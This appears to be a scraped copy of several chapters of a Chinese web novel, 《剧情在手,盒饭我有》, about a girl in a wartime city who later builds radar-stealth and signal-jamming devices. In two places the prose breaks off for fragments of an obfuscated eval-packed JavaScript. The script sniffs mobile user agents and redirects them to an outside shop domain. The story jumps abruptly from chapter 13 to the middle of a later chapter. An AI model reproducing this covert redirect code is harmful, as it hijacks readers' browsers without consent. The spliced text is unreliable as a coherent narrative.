元之荞看向钟墨,见他双臂撑在桌上,微微歪着脑袋瞧自己,头发蓬蓬卷卷,却打理得齐整干净,他的眼睛黑亮,睫毛长长的,仿若像太阳花。元之荞在心里默念,不能打小孩,打小孩犯法…… 她将不耐的语气压了下去,开始给钟墨解释。钟墨听了有些欢欣,眼睛更亮了,“荞荞,你真厉害,知道好多东西。” 元之荞不咸不淡地嗯了一句,“那荞荞,你会写自己名字吗?”他在书桌上看了看,翻到的都是有字的书,没有白纸,便伸手掏向了自己口袋,拿出一方布帕,放到了元之荞面前。 “荞荞,写这里。” 元之荞看着柔软的布,拒绝了,“这是布,不好写字。”她想给钟墨拿些元善准备的草稿纸,这些草稿纸还能让钟墨画画写字,如此一来,他说不定就能安静一会。 “不要紧,它是我的汗巾,”钟墨将方帕往前推了推,一直推到元之荞的右手边,“写嘛~” 元之荞看了看方帕,又看了看钟墨,选择了提笔。 元之荞刚写完,钟墨就把方帕转了过来,指着上面的三个字,挨个念了出来,“元,荞,荞?”他似有些不明白,眼睛微微放大,“可是荞荞,这最后的两个字,怎么不一样啊?” “元之荞”,元之荞语气平常,学着钟墨的样子,指着上面的字,挨个念了出来,“元,之,荞。” 这是她下定决心后的第一个计划,她要在众人面前成为自己,而不是一直模仿“荞荞。” “哦,原来不是元荞荞,”钟墨看着方帕上的字,似懂非懂,“那荞荞……”他匆匆改了口,说:“之荞,我回家就学习,这样我就会写你的名字了,”钟墨将方帕折了起来,重新放回口袋,又拿起桌上其他的笔,兴致勃勃,“我给你写我的名字吧。” “不了,”元之荞冷漠拒绝,“我知道你的名字怎么写,不用教。” 本以为这样说,钟墨就会停止这个话题,没想到钟墨执拗,不是要自己写,就是要元之荞写他的名字。元之荞听得脑瓜嗡嗡,有些无力地扶住了额头。她必须马上,立刻,尽快将钟墨这个烫手山芋转移出去。 元之荞飞快地拿过一本书,随意地翻开,抬手就在扉页上写下“钟墨”二字,然后拿给钟墨看。正当钟墨张嘴要夸赞时,元之荞立即用手捂住了钟墨的嘴,她的眼神看向钟墨,但又好像是在放空,“你想不想知道沉船时发生了什么?” “想!”钟墨被捂住的嘴依然能够说话,他拖得长长的尾音带来嗡嗡的气流,震得元之荞手心温热发麻,她一下拿开了手,然后迅速捏住了钟墨的嘴,像捏一只扁嘴的鸭子。 “我哥哥和姐姐去了现场,他们经历了可怕的踩踏,哥哥还因此受伤了,你想不想知道事情的经过?” “唔——”钟墨被捏住的嘴无法张开,他想说“想”,但说出的话闷在嘴里,声音不清不楚,像一只鼓气的青蛙。 “行,他们就在隔壁,你现在过去找他们聊天吧。” 钟墨还想说话,但见元之荞没有松手的意思,只能点了点头。元之荞看见,放开了手。 “可是之荞……”钟墨话还没说完,就见元之荞的目光霎时盯了过来,带着锐利凌然,钟墨不知怎地,忽而闭上了嘴,等到元之荞移开眼,他才鼓足勇气说完下半句,“你不和我一起去吗?” “不去,事情我都听过了,你去吧。”元之荞低下了头,单方面断绝与钟墨的交流。 “那之荞……我去找知茂哥哥和知荷姐姐了,找完他们我就来找你玩哦。” 元之荞没有说话,在她心里,只盼望着钟墨与兄妹俩聊天,能完全忘记她这个人。 小孩果然忘性大,钟墨和两兄妹玩得很开心,而每当钟墨产生找元之荞的想法,就会被元知茂误打误撞地消弭掉。时间快到五点,钟家司机前来接人,钟墨这才恋恋不舍地离开。上车前,钟墨看向元之荞,表明下次有空他会再来找她玩。 元之荞敷衍地点了点头,看着疾驰的汽车离去。这次也许是他们最后一次见面了,之后战乱逃逸,他们终将四散于这片大地。 直到晚上八点,元善才回家吃饭,他一进门,就饿得直往餐厅走。梁桦与孩子们还在等他吃饭,元善见了有些愧疚,赶紧招呼着孩子们动筷。 拿碗时,元 12. 第 12 章 《剧情在手,盒饭我有》全本免费阅读 元之荞:“爸爸,我最近看了很多书。” “是啊荞荞,”元善笑了起来,语气也放得极软,像是有着十二万分的耐心,“是看到什么有意思的书了吗?” 这还是荞荞第一次找他聊天,元善既有惊讶也有期待。 元善一直知道荞荞很聪明,两岁过目不忘,三岁就在数理化上展露了惊人的天赋。即使荞荞说话很晚,元善也想将荞荞当作医馆继承人培养。只是后来的荞荞孤独自闭和刻板行为越来越明显,元善才不得不放下这个念头,转而将想法放到了元知茂身上。 元之荞:“我看到两本书很有意思。一本是地理画册,一本是报刊上的付将军列传。” 不等元善深入询问,元之荞先将事情说明白了,“地理画册中,向天江穿过陵城中央,往北去安平,往南去长柳,还有一小节分支往西流去,直达山俞。” “山俞高川盆地交杂,地势复杂,交通不便,向天江也在这里渐渐消亡。” “荞荞说的不错。”元善点点头,眼里似有几分惊喜。他竟不知荞荞在天文地理上也如此优秀,既然荞荞正在变好,那他之前放弃的打算,是否可以…… 未等元善想下去,元之荞就继续说话了,“所以,我们陵城是个非常重要的交通要塞,对吗爸爸?” “对的,”元善笑得更开朗了,他轻轻摸了摸元之荞柔软的短发,“我们陵城因为靠江,水资源丰富,靠着种地和水上运输,也算是个富庶的城市。” 看到元善渐渐上钩,元之荞也点了点头,“因为富庶且地理位置重要,所以常胜将军付将军才会在这里驻守,对吧?” 元善愣了愣,不知元之荞是怎么联想到军事方面的,但又想到荞荞还看了一本有关付将军的报道,这才脑补出了原因。 他看着元之荞,对上她那双像在期待着回应的眼睛,只干巴巴地说了一个“对”,便再没了下文。 他不知道该说什么,他半生行医,会的也只有医术。他从小被教育不要议论国事,不要掺和党派是非,所以即使家中有书,元善也不过是看看历史,并不会进行分析与讨论。 元之荞并未打算与元善研讨什么,见他听懂了,便接着说了下去,“我在付将军的报道中看到,敌人曾扬言一月占领所有沿海城市,他们也曾势如破竹,差一点便要奸计得逞,只是最后,他们遇上了付将军。” “付将军好几次打了他们一个措手不及,而最后一次反败为胜,更是扭转了战局,让敌人一直蹲守沿海,无法大举进攻内陆。” 听到这里,元善与有荣焉,而元之荞见状,有些无意地感叹一句,“要是没有付将军这样的抗战英才,我们陵城怕是早就被敌人盯上了吧?” “是啊,幸好有军阀的保护。” 如今陵城安稳,战事遥远,但陵城却有不少洋人。洋人们不仅带来了新东西,还带来了新消息与新危险。在元善心中,洋人犹如埋在地里的闷炮,不知何时会炸。只有将它们全都挖出来扔掉,土地才能变得安全。 不过幸好,他们还有军阀这道保障。 “可是爸爸,我听说今天付将军也去游船龙祭了,就是那一艘爆炸了的船上,”元之荞意有所指,“要是付将军受伤,敌人趁机打过来怎么办?” “不会的。”元善当即否认,一点也没经过思考,好像这样说,坏事就不会发生,生活就会永远平稳一样。 元之荞看出了他心里所想,决定再加一把火,“为什么?” “付将军是陵城最大的军官,是主心骨。陵城如此重要,敌人肯定也虎视眈眈。” “我听钟墨说,敌军已经压线至善城了。” 善城这事,是元之荞从《绯恋》第一章中看到的。虽然书中没写为什么一日破城,也没写具体的经过,但元之荞猜测,付将军死亡、属下各自为政,定然是一个重要的原因。 元善顿了一下,俊朗的剑眉稍稍拧起,“荞荞,你想多了,小孩就该吃吃睡睡,好好长大,而不应该想这么复杂,”他拍了拍元之荞的后背,哄小孩一样将元之荞举了起来,然后轻轻颠了颠,“好了,你该回房间了。” 元善意料之中没有得到元之荞的笑脸,如此“起飞”的游戏,他与元知荷、元知茂玩时,他们总是咯咯笑得欢乐,本以为这次也能在荞荞脸上看见笑容,看来是他过于急切了。 不过荞荞如今能够分析并懂得了赞叹英雄,也算是一种巨大的进步。 而今晚元善的态度,也在元之荞的预料之中。过程得一步步来,元善抗拒战争与危险,不愿去想,不愿付诸行动,但未来的发展由不得他。即使明日元善不看报纸,付将军死亡的消息也会被人口耳相传,届时,元之荞说的话就会宛如警钟,再次在元善脑中响起。 到那时,元之荞再推元善一把,事情就会好办了。 元善抱着元之荞上楼,还未送她进卧房,就听外面传来了砰砰的砸门与叫喊声,“元善!元善你给我开门!” 元善放下元之荞,正准备出去看看,元知茂就瘸着腿一跳一跳地出现了,“爸爸,是小叔在外面。” 元善皱了皱眉,元安?这家伙是怎么了,语气这般差,难不成是喝醉了酒……想到这,元善有些担心,当即下楼开门。可他还没看清楚人,一个拳头就挥了过来,击中元善的鼻子。 生理性眼泪一下子就涌了出来,并迅速模糊视线,元善盖住酸痛的鼻子,往后趔趄了几下,“元安?你干什么?” “我干什么。”元安不由分说,又要挥出一拳,门外看热闹的人纷纷钻了进来,想要帮忙劝架。有抓住元安拼命往外拽的,又抱住元安让他冷静下来的,还有的挡在元善面前,说要保护元大夫。 元善也在劝架,看元安已经恢复了理智,便招呼着坊邻放了他。 元安穿的还是今早上船时的西装,边角处都已经变得皱巴,他的头发歪斜,脚下一双皮鞋换成了方便走动的普通布鞋,整体的造型不伦不类。元安斜着眼看元善,眼里充满了敌意。 家丑不可外扬,元善不好这时询问元安,只能先谢过四邻,将人都送走后,才关上门开 13. 第 13 章 《剧情在手,盒饭我有》全本免费阅读 元安冷笑一声,“知道什么?” 元之荞:“知道送票与沉船没有直接关系,小叔要怪的,该是那导致沉船爆炸的罪魁祸首,”她态度平和,语调不紧不慢,而这样的反应仿佛影响到了元安,也让元安的情绪跟着逐渐稳定了下来,“你知道罪魁祸首无法问责,内心苦楚又无法排解,便怪上了我们,试图用这样的方式减轻自己失去亲人的悲痛。” 元安听完,笑了一声,然后笑声一声接着一声,像是在否认元之荞所说的话,只是他笑着笑着,那笑声就渐渐变为了哭声,“是啊,我知道。”他卸力地坐到了地面上,面色颓唐。 梁桦见元安彻底放松了下来,马上示意一旁的帮嫂,让她给元善递去纸巾,让元善可以擦去鼻下与嘴角的血液。 元安没去管他人的行为,只是呆呆地看着地面,眼神空洞,像是在回忆着什么,“我掉下去的时候,旁边都是人……他们像灼热的饺子,在锅里上下翻滚,我不知道发生了什么……” “我游着喊了一下志靖,没有人回答,我又喊了淑华,也没有人回答……后来、后来就爆炸了……” “我看见了前面的火光,浪冲着我打来……” “我醒来的时候,发现躺到了医院,”元安有些语无伦次,像是大脑在阻碍着他想起痛苦的部分,“我、我找了很久,也问了很久,都没有看见志靖与淑华,我不甘心。” 他突然将双腿缩了起来,双手也不自主地环抱着自己,像在害怕,他的语速忽而变得很快,声音也有些飘忽,像是在极力跳过最悲痛的地方,“这时有人告诉我,可以去停尸那处找,在那,说不定能找到我要找的人。我不敢去……但最后还是去了……” “我看见、看见志靖浑身是伤……小半的脸血肉模糊,身体也被泡得僵白……” 元安将头埋进臂弯里,痛哭了起来。 听着元安悲凉的哭声,梁桦也动容地落下了泪,她心里愧疚极了,没想到自己当初的举动竟会害得妯娌和侄子死亡。元知荷共情能力最强,她扭过头去,抹掉了脸上连成一串的泪珠。而元知茂还在震惊于这个事实,他见识过沉船与踩踏的可怕,还侥幸地以为伤害没能到达身边。 元善无言叹气,缓缓地蹲到了元安身旁,他心中酸胀极了,想要伸手拍拍元安的后背,但那只悬在空中的手,却一直不敢真正落下。 元安似乎感觉到了,他忽然抬头,一下推开了元善,将元善也推坐到地上。 元安的嘴角下挂得厉害,嘴唇也在不断地颤抖,他的脸上满是泪痕,今早刮净的胡子早就冒出了黑茬,沾上鼻涕与眼泪,看起来颓败潦倒。他的话因带上哭音而变得支离破碎,“虽然和你没直接关系,但你也有责任!”他不管不顾地宣泄着胸中的愤怒与苦楚,“我儿子的死,你有责任,”他用手指向元善,随后又指向梁桦,并挨个虚点她身边的孩子。 元安声嘶力竭,“是你们,都是因为你们,是你们送票间接害死了我的孩子和老婆!” 当他喊完这一句,整个人就仿佛坏掉的钨丝灯,闪烁几下就便渐渐暗淡了下去。元安变得安静了起来,而他身边其他的元家人,也跟着安静了起来。 不知过了多久,元安突然踉跄着起身,想要离去。元善上前扶了他一把,却被元安无力地抽开了。 从刚开始,元善就有些不自觉的慌乱与不安,因为他想起了自己送给妹妹元珍的两张票,只是元善一直试图按下那些不好的预感。直到元安即将离开的这一刻,元善心中大鼓打得激烈,他这才意识到,有些话,他必须得问出口。 元善的手不自觉地握起,在元安踏出门前,迟疑地出了声,“你……知道元珍去了吗?我给了她票……” 打开大门的元安脚步一顿,他听到元善的话后既没回身,也没说话,而是沉默了几秒,然后才迟迟地笑出一个怪异的声音,他转头看向元善,像是在看什么可怜的小丑,“原来她的票也是你给的。” “什么意思?”元善不好的预感越来越强烈,他看着元安那张失去了表情的脸,突然有种不切实的感觉,好像待会元安说出口的话,会一个字、一个字地变为实质,成为那一块块冷硬的砖块,毫不留情地砸到他柔软的心田,砸出一个个难以修补和磨灭的深坑。 只见元安露出了一个嘲讽的眼神,语气没有一丝温度,“元珍的老公死了,因为老公死了,所以她就算活着,也要去寻死。” 元善听后,彻底愣在了原地,极大的不安和恐惧攫取了他的心神,他怎么也想不到事情会演变成这样,若是当初……当初不把这些票券给元珍……若是当初听了荞荞转述钟先生的话…… 对了荞荞…… 元善突然看向元之荞,见元之荞依旧是那副不通情感的模样,只是那双仿若无物的眼睛,如今却多了许多冷静与漠然,像是一下拥有了强烈的自我,让元善无端感觉到陌生。 他想起荞荞说过的将领死亡与敌军攻城,原本困苦的心又添加了惊忧,仿若医馆的药柜被人打翻,所有药材散乱地混到了一起,使人无从下手。 元之荞目送着脚步虚浮的元安离开,看向家中的大人,元善和梁桦都没了轻松的容颜,就连一旁的帮嫂也在心有余悸,只有元知荷与元知茂两个小孩见元安走了,脸上明显是松了一口气的轻快。 元知茂心中大石瓦解,迫不及待地询问梁桦,“妈妈,小叔说小婶和志靖弟弟都死了,这是真的吗?” 梁桦看着天真无知的元知茂,不知该如何回答,只能拍了拍元知茂的后背,虚虚地说了一句,“很晚了,你带妹妹们回去睡觉吧。” 元知茂心里还想再问,但见父母的表情都不太好,只能照着梁桦说的去做。 这夜,梁桦与元善房中的灯亮了整宿,而向来工作勤勉的元善,决定明日闭馆一天,前去看望元珍。 第二天一早,元善还在修整自己因熬夜而颓败的容颜,就听外边响起了卖报小童的吆喝,“付将军死亡,今日新闻,付将军于昨夜不治身亡……” 元善剃胡须的手微微歪了一下,锋利的刀片划过下巴皮肤,带来一道浅浅的血线。他原本萎靡的精神被迫一震,像是被人大力按到了尺神经沟,整个人都发麻了起来。他来不及处理嘴上的泡沫,匆匆走到外面,拉开了窗户,对着下面的小童大喊。 “快给我一份报纸。” 小童在门外等候,帮嫂在厨房做早饭,梁桦正在换衣,准备前去钟家还礼。而原本一向爱洁重形象的元善,见找不到人去开门,竟顶着一张沾着泡沫的脸去拿了报纸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12867350|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之荞劈开了一个豁口,豁口延伸,成了另外一条路。元之荞不知道钟以墨走上的这条岔路,究竟是一条全新的路,还是和父亲、姐姐之前那般,不过是命运的殊途同归。 她和元知宁在钟公馆看了看,然后把弟弟带了出去,“这里像被小钟太太挂牌出售了,说不定以后就要装修,知宁就不要常来这里玩耍了。” “哦……”听到这话,元知宁垂下头,但很快,他又扬起了脸盘子,“那下次我发现好看的,再带姐姐来。” “好,下次我再和知宁去,”元之荞的目光从钟公馆移开,看向了弟弟,因为怕热,元知宁主动将头发剃得短短的,仿佛一个刚还俗的小和尚,元之荞摸了摸元他的圆脑袋,有些扎手,像摸一颗毛栗子,“我们该回去了,不然妈妈又唠叨了。” “嗯,”元知宁的话语重新变得活泼,将元之荞的手从他脑袋上扒下来,主动牵了上去,“姐姐我们回去吧。” 元之荞回头看了一眼钟公馆,算算年龄,唐曦如今也七岁了。战争会在唐曦十四岁时结束,然后再经过两年的内战,才会迎来真正的和平,建立全新的时代。这样算来,战争还要再打七年。 唐曦十六岁时会见到张修正,而唐曦十八岁时,会再次遇到钟以墨。 元之荞看向前路,希望再见时,他也能摆脱原命运,成为书里最开始希冀的那样,自由而热烈。 两人到家后,梁桦果然开始絮叨,先说元之荞浪费钱,鸡不知多贵呀,能抵上好几斤米,元之荞竟然想也没想就买了,后来又见元之荞掏出了葡萄,梁桦顿时又是心疼又是高兴,用惋惜的语调感叹,“之荞,你买的葡萄都熟透了,放不了几天,不吃就浪费了……哎呀,要是能多放几天,一天吃一点就好了。” 元之荞听到这话也不恼,笑着跟梁桦学看怎么选水果。 如今的梁桦,比陵城那时的梁桦,干练自主多了,她不再只依附元善,不再全无主见,很多时候,她都能与元善相互商量,甚至在元善不在时,她也能自己做出决断。 元善自然也变了很多,虽然他依旧有着大家长的心态,但对孩子和妻子,他不再像以前那般强势,并且学会了收敛善心。该帮的会帮,但不会忽略家人的情况,无所顾忌地去帮。不过唯一不变的是,元善依旧爱洁,每次归家,元善定要清理身上尘灰,也见不得元知宁在外玩得脏兮兮地回来。 除此之外,元善也依旧没放弃医馆继承人的心愿。眼见元知茂参了军,元知荷要成记者,而元之荞则是板上钉钉的新军重要成员,注定不会回来继承医馆。于是元善把视线对准了元知宁。 元知宁和他的哥哥姐姐们一样,从识字起就开始学习认药材,但长大后要不要接手元氏医馆,还得看他自己的意愿。 “之荞,你喜欢鸡翅,妈待会专门给你做一对蒜香鸡翅,”梁桦坐在小板凳上烫鸡毛,看到元之荞高兴地点头,梁桦也跟着笑,只是这笑容并未在她脸上停留很久,像是怕元之荞看出什么,梁桦低下头,装出的语气轻松随意,“之荞这次回来,可以在家住多久?” 115. 第 115 章 元之荞察觉到了母亲的不舍,她弯下腰,将一旁放好的鸡血端到桌上,以免不小心打翻,“具体能住多久我也不知道,”她找到一个小马扎,坐到梁桦身边,“等华叔叔叫我,我就该走了。” 梁桦不再说话,低头默默地干着手中的事,元之荞见气氛低落,调皮地用手肘碰了碰梁桦,宽解道:“现在是我休假,可以一天24小时陪着妈妈呢,只要妈妈不觉得我烦人。而且再回去的话,这次是搞科研,不是去做危险的事。” 梁桦拔着鸡毛,声音很轻,“我只是有些担心而已,”她的手指停了下来,过了一会,才继续去揪鸡身上的长毛,“就算你在安全的房子里捣鼓那些我看不懂的机器,我也还是会担心。” 元之荞知道梁桦的焦虑来自哪里,她看着母亲鬓边蹿出的白发,默然将凳子挪近,然后撸起袖子,跟着一起拔毛。 “妈妈,新军没有飞机船舰,但这些军阀都有,所以我们打下了根据地、夺回了沿海城市,我们也没有实质的领空权和制海权,军阀和海国军依旧能随意在根据地上飞、在海上游走,任意地监控我们、威胁我们。” 元之荞笨拙地除去母鸡身上的绒毛,像在做一件极其认真的事,“虽然我不会造飞机船舰,但我负责的部分都能搭载其中,”她嘴角笑着,像是预示到了那个时候,“等有实力了,战争就能快点结束,到时候我们就回家,回陵城,回外公家。” 猝不及防的泪珠砸进烫鸡毛的盆里,激起一小段看不见的水花,梁桦匆忙眨掉眼泪,扭脸蹭向肩膀,“好,那妈妈就等着那天。” 元之荞听见梁桦声音不对,直起腰,抬头看向梁桦,只见梁桦鼻尖有点红,微微翕动鼻翼,吸气的声音明显,像是急忙压住了泪意,却又被人无意间发现了。 对上元之荞关切的目光,梁桦有些不好意思,她笑了笑,自嘲地说:“妈妈年纪大了,人上了年纪就容易伤感……” “乱说,妈妈还年轻。”元之荞想也没想就反驳,好像这样说母亲就永远不会老去一样,说完又顿了顿,意识到自己孩子气了。她看着梁桦温柔的脸,她不想让梁桦难过,于是试图给自己说的话增加信服的筹码,“爸爸比妈妈岁数大,年纪大的是爸爸才对,而且我也没看过爸爸哭。” 听到这话,梁桦一下笑了,“你爸才不会哭,他要哭,都是躲起来自己一个人偷偷哭。” “妈妈怎么知道,难道妈妈看到过……” 悠闲的时光似乎总是过得很快,在元之荞休息的这段时间,杨黛和李成在元家以及白鸽的见证下,简单地举行了仪式,正式结成夫妻,坚定彼此的革命情谊。 另一边,段公决定暂居南城,并依旧进行全国探查,当然,白鸽混进去了不少,也依旧见缝插针、暗里织网。同时,军阀也像元之荞预料那般,因两军的开始合作,部分白鸽被动或主动暴露,调查科这时才发现,搞情报竟然还有白鸽这样的操作,于是段公留了个心眼,火速找到亲信,命其秘密成立了另一个情报组织——66号。 这个66号,未来将一举越过调查科,成为白鸽特科真正的敌手。 元之荞进入保密实验室,四组组长的工作由杨黛和李成两人暂时代理,但遇到重大事件时,他们仍会去找元之荞,让元之荞做最后决定。 实验室里,元之荞并非一切顺利,每次遇到瓶颈或者被迫暂停,她就会去捣鼓其他的东西,例如战地电话和野外作战探测仪。这两样东西,也在统一抗战中发挥了重要作用。 在元之荞离岗开始实验的过程中,66号迅速发展,比照白鸽系统,建立了四个机构——特工总部、社会部、肃清委员会以及训练班。 这四个机构,只有特工总部与白鸽一组的职能稍微沾点边,其余全是调查科的恶劣进阶版。拿社会部来说,白鸽二组是以正当的方式发展线人、收集情报,而66号社会部则是拉拢并收买各行各业的败类,收编调查科的散兵游勇。只要能达到目的,无论是重用汉奸,还是违背道德法律,社会部都做得相当顺手。 肃清委员,则会类比白鸽三组,比起三组,肃清部更多采用暴力处决和偷袭暗杀,并启用了相当多的女特务,用于“颜色”暗杀。 最后的训练班,也是与白鸽最不像的。四组主要负责教授无线电知识,培养相关人才,而训练班则像是一个大型培训集合的统称,无线电只是其中很小的一部分,最主要还是特务训练、女特务训练以及警犬训练。 除此之外,66号的业务涉及广泛,并且继承和发扬了调查科的特性——对内调查自己人。66号于委员会设立了五处,一处负责对付军阀,二处负责对付调查科,三处负责对付新军以及一切“激进”的忠义救国人士,四处负责对外,也就是负责对付租界,五处则负责对付66号内的叛变以及异动分子。 66号行事狠辣,刑讯逼供的残忍手段远超调查科的审讯室,在他们无所不用其极的手腕下,乌麦被挖出,顺带也知道了代号为隼的人是白鸽统领。 不过得益于华常委对元之荞的保护,66号只认为乌麦是研制了系列军粮以及无线电设备的“技术人才”,并不知晓乌麦正在研究信号监测及干扰屏蔽这一大杀器,不然他们不会把矛头对准隼,而是会想尽一切办法,先行找到乌麦。 面对66号对白鸽的打击,为了避免暴露,华常委采取的是隐秘反击。 统一战线正式开启的第一年末,新军与军阀相互合作,却又相互暗自提防,这种提防主要体现在军阀那边,他们时不时就出现几个微操,悄摸地坑一把新军。但军阀中也不乏真正的爱国者,他们上战场时不会背刺队友,反而还会在必要时刻帮新军一把。 元之荞的研究已有雏形,但由于初始材料的限制,她无法进行大规模量产,于是她做了一个大胆的决定,她要自己升级材料。 第二年末,元之荞和科研专家偶尔收到华常委送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872369|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的轰炸机和侦察机,以及早就拆解的船舰。华常委说是战场上得来,但元之荞觉得更像是从装备库中“偷来”,因为它们几乎没有炮弹损伤,也没有长时间使用过的痕迹。 虽然奇怪华常委是怎么弄来的,但手头上的事要紧,元之荞没有多加询问,就继续进行测试实验了。 第三年末,元之荞的材料升级进行到了关键一步,这时,她发现现有实验设备无法适应,必须使用更先进的设备,可方法除了海外购买,就只剩独自开发。后者无异于为醋包饺子,她需要的时间会更多。现下战事胶着,时间也成了致胜的关键筹码,于是华常委再次说出了那句话,“我来想办法。” 等元之荞收到华常委的消息时,已是几月后,华常委好像受了伤,也可能是生了病,声音不似以往那般有气力,但语调却透着高兴,“之荞,你想要的设备,过段时间就能来了。” 华常委没给她发问的机会,说完便挂断了电话,不过元之荞要是问,华常委也不会告诉她设备究竟是如何来的。 又过一月后,实验基地收到了一个包裹,助手拿给元之荞,元之荞拆开后发现是一堆零件。东西很散也很细,甚至连不同型号的螺丝、螺帽都有,元之荞不知道这些是什么,原封不动地放在了一边。 一周后,元之荞又收到了一个包裹,这次打开也是一堆零件,不过她眼尖地看到了一个小部件,这个部件,正好是所需设备上的部件,元之荞这才意识到,这些,应该就是华常委说要运过来的设备。 估计这个设备在海外被严格管控,或许本身就是保密设备,要运出来只能全部拆开,然后分批次转运,以此瞒过检查人员。精密的部分不可拆卸,对方就将能拆全部拆开,所以就有了这些包裹。 果然,接下来的三周,剩余的包裹陆续到来,可零件齐全后只送了一个手绘的简易说明书,这样一来,估计只有制造设备的工程师亲自过来,才有可能将其复原。 元之荞抿了抿唇,原来对方压根就不愿意把设备交出海外,华常委或者接触这个设备的人,一定被刁难过了吧。 “老师,这……这可怎么办?”元之荞的几个助手,看着箱子里成上千上百的零件,担忧得皱起了眉。 元之荞依旧如以前那般没有过多表情,她干练地梳起头发,带上手套,让助手帮她把箱子搬上实验台,“先跟我一起分类,注意轻拿轻放,勿要大意丢失。一个小小螺丝的缺失,都有可能造成整台设备的报废,这可是科长好不容易从洋人手里取来的,弄坏了或者弄丢了,没有第二台让你们将功补过。” 元之荞看着手下的一个个部件,眼中是熊熊燃起的斗志。 既然华科长他们穿过重重阻碍,一关一关,这才艰难地把你们送到我的面前,那这最后一关,我也不会让他们失望。 毕竟她在这个世界,可是剧情亲自认证的BUG存在,想要再复原上难倒她,怕是远远小瞧了她。 116. 第 116 章 《剧情在手,盒饭我有》全本免费阅读 第四年末,元之荞的实验成功,率先研发出最尖端的透波材料,当对方用雷达探测己方时,能让己方变得“隐身”,在这个时候,希广国也在研究雷达隐形技术,不过他们用的还是相对而言比较传统的吸波材料,也就是之前元之荞想要升级的材料之一。 之后,元之加入飞行器械实验组和海洋航行器械实验组,帮助搭建飞行通讯系统、海上通讯系统,以及预警探测防御系统。 研究飞行器时,元之荞与科研学者们还在陆地,但研究船舰时,她与学者们就不得不下海做实验测试。 海边城市尽数被外敌侵占,就算有同志与爱国人士帮忙,他们也无法让船长时间靠岸停泊,于是元之荞等人选择海上漂泊,将实验都搬到船上。 一开始情况顺利,但几个月后,随着船规律地靠岸换班,增加补给,没过多久就引来了海国人的警觉,等海国人知道有陌生海船后,直接派出轰炸机,想要炸毁元之荞他们的船。 如今正在进行测试实验的船舰,在外形设计上采用了能消除电磁波反射效应的造型,以减少对方雷达的探测,本来船体要再加女主的透波材料,但专家们都担心实验船在基础性能测试上不过关,要重做,或者实验船被敌方提前发现并毁坏,如此一来就浪费了透波材料。所以专家们一致坚持,要等到前面的实验检测完成后,再正式地进行材料涂层。 海国军的雷达探测一出现,元之荞的信号监测器就有了反应。 她火速通知船上的战士与专家进入防御状态,然后快速收集信号,预备电子干扰。 雷达迅速检测出元之荞这一带的海船,同步将位置信息发至轰炸机,飞行员看着表盘上的提示,即刻向目标接近。 船舰上的战士拿着望远镜,隐约看见了远处的飞行器,他急忙报告,“班长,东边方向疑似发现敌人。” 班长语气沉着,“炮兵!出列。” “元组长,敌人接近了……” 元之荞皱着眉,全神贯注,她十根手指快速操作着,全然未听见外面的侦察兵在对她说些什么,“成了,”她敲下按钮,眉宇骤然一松,这才看向侦察兵,“已启动干扰,告诉于班长若看见敌军飞行异常,可抓紧时间正面出击。” “是。” 海国飞行员眼见绿色表盘上的红点突然消失,他有些奇怪,立刻联系中央控制台。 “滋滋……081号滋滋滋……请重复……滋正常……”中控台传来的消息断断续续,耳机里一片杂音,飞行员压根听不清对方在说什么,再度询问后依旧如此,于是果断挂掉了通信。他看了看周围,脚下是茫茫大海,目光所及之处均没有看见海船,“没有信号指引,会是一件很危险的事呢。”飞行员调转机头,选择原路返回了。 “班长,敌人正在撤退。” 班长等了一会,直到战士给出安全信号,这才让炮兵停止准备。 “嘿,元组长的玩意可真好使,俺差点以为要拼上性命了。” “就是,刚才我还想着高低要把鬼子的飞机打个窟窿……” “你们两个,还没解散就在那嘀咕,还以为是新兵?解散后你俩加练半小时……解散。” 避过危机,全船的人都有些兴奋,这也直接证实了电子侦查防御在近现代武器作战中的重要作用。专家们更是抓紧时间,一个个都抢着要元之荞,想要尽快完善手中的实验成品。 然而危机并不只一次,类似的空袭他们还遇到过好几次,就算有着屏蔽干扰器的帮忙,战士们也有惊无险地打下敌方的飞机,但他们仍是被敌方发现了身影,并且在实验后期,敌方还知道了他们在使用电子干扰。 于是敌方不断试着入侵和破解元之荞的信号,在减少用雷达侦测的同时,派出了更多的轰炸机,每天都在海上巡逻,并且在海船可能登录的港口重点进行埋伏,全方位地想要拿下船舰。 外部充满了危险,但唯一庆幸的是,海国军猜测拥有这种尖端信号探测的实验船来自于海外,所以海国对丑国和英国,这两个武器较为先进的国家进行了试探,然而等海国发现这些国家还没有如此出色的电子侦查后,又开始一一做排除法,核对可能的对手。然而等海国人连军阀都怀疑上了,就是没一人想到新军。 毕竟新军穷苦的形象实在刻入人心,就算新军里有几个专家,专家们也带不走海外最尖端科技,何况海外还在处处技术封锁。 海国军的这一偏差,着实给元之荞他们增加了不少时间。 为防被一锅端,元之荞他们不再设定靠岸时间,也不再联系陆上同志,只要自己都不知道自己会出现在什么港口、会在什么时间上岸,敌方就没法通过监听得到他们的准确位置。 实验的最后几个月中,元之荞他们几乎都在海上漂着,等接近陆地,元之荞才会联系附近白鸽,快速进行补给。 第五年末,所有实验成功结束,新式侦查机天-8号、新式船舰东-2号正式问世。这两个型号的机械将一直使用到新时代建立的第二年,然后才被迭代,光荣退休。 统一抗战的第六年年初,一月份,元之荞在基地过完十八岁庆生,终于结束任务,回到白鸽,回到了家中。 